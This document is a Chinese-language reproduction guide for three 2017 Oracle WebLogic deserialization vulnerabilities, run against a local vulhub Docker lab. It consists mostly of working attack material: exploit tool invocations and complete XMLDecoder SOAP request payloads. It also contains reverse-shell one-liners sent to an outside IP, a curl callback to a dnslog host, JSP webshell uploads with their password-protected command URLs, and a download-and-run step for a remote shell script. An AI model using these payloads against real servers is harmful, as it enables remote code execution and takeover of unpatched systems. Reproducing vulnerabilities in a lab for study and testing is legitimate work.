weblogic复现利用系列-2017

一、CVE-2017-3248

1.1、影响版本

CVE-2017-3248

10.3.6.0, 12.1.3.0, 12.2.1.0 ,12.2.1.1

1.2、环境搭建

1.进入vulhub，启动docker即可

cd /root/vulhub/weblogic/CVE-2018-2628
docker-compose up -d

2.查看启动的docker进程

docker ps

1.3、复现流程

1）使用已有工具

java -jar weblogic_cmd.jar -C "whoami" -H 192.168.52.130 -P 7001

反弹shell

java -jar weblogic_cmd.jar -C "bash -i >& /dev/tcp/11.X.X.X/9999 0>&1" -H 192.168.52.130 -P 7001

二、CVE-2017-3506

1.1、影响版本

CVE-2017-3506

10.3.6.0, 12.1.3.0, 12.2.1.0, 12.2.1.1 ,12.2.1.2

1.2、环境搭建

1.进入vulhub，启动docker即可

cd /root/vulhub/weblogic/CVE-2018-2628
docker-compose up -d

2.查看启动的docker进程

docker ps

1.3、复现流程

1)、WebLogic-XMLDecoder.jar

WebLogic-XMLDecoder.jar

2)、poc检测

 java -jar WebLogic-XMLDecoder.jar -u http://192.168.52.130:7001
+----------------+------------------------------+-----------------------------------------------------------------+
|      Time      |             Status           |                                Host                             |
+----------------+------------------------------+-----------------------------------------------------------------+
|    15:37:08    |      [+] 漏洞存在            | http://192.168.52.130:7001/wls-wsat/test.logs
+----------------+------------------------------+-----------------------------------------------------------------+

3)、传jsp马

java -jar WebLogic-XMLDecoder.jar -s http://192.168.52.130:7001 /wls-wsat/CoordinatorPortType11 shell.jsp
[+] Success
[+] http://192.168.52.130:7001/wls-wsat/shell.jsp?password=secfree&command=whoami

1.4、漏洞利用

1)可以利用jsp马反弹shell,直接输入bash反弹有bug，我们采用远程下载再加载的方式

wget+http://11.11.11.11/shell.sh

执行shell脚本的两种方式，其它的不具备权限

bash shell.sh
sh shell.sh

三、CVE-2017-10271

1.1、影响版本

CVE-2017-10271

10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0，12.2.1.2.0

1.2、环境搭建

1.进入vulhub，启动docker即可

cd /root/vulhub/weblogic/CVE-2018-2628
docker-compose up -d

2.查看启动的docker进程

docker ps

1.3、复现流程

1)、访问http://192.168.52.130:7001
出现一个404的页面，说明环境启动完成
2)、发送如下数据包，作dns探测

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.52.130:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 602

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>curl 736f51.dnslog.cn</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

3)、发送如下数据包，反弹shell
"<>"等特殊字符需要实体编码，提供一个网址

https://www.qqxiuzi.cn/bianma/zifushiti.php

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.52.130:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 644

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &#x3E;&#x26; /dev/tcp/11.11.11.11/9999 0&#x3E;&#x26;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

1.4、漏洞利用

1)、工具cve-2017-10271_poc
验证漏洞

java -jar cve-2017-10271_poc.jar -u http://192.168.52.130:7001

[16:38:01] [+] 漏洞存在 http://192.168.52.130:7001/wls-wsat/test.logs

2)、传马执行命令

λ java -jar cve-2017-10271_webshell.jar http://192.168.52.130:7001 test1.jsp

[*] Starting exploit...
[*] Sending payloads...
[*] Payloads sent...
[*] Opening shell...
[*] pwned! Go ahead...

[+] http://192.168.52.130:7001/bea_wls_internal/test1.jsp?password=secfree&command=whoami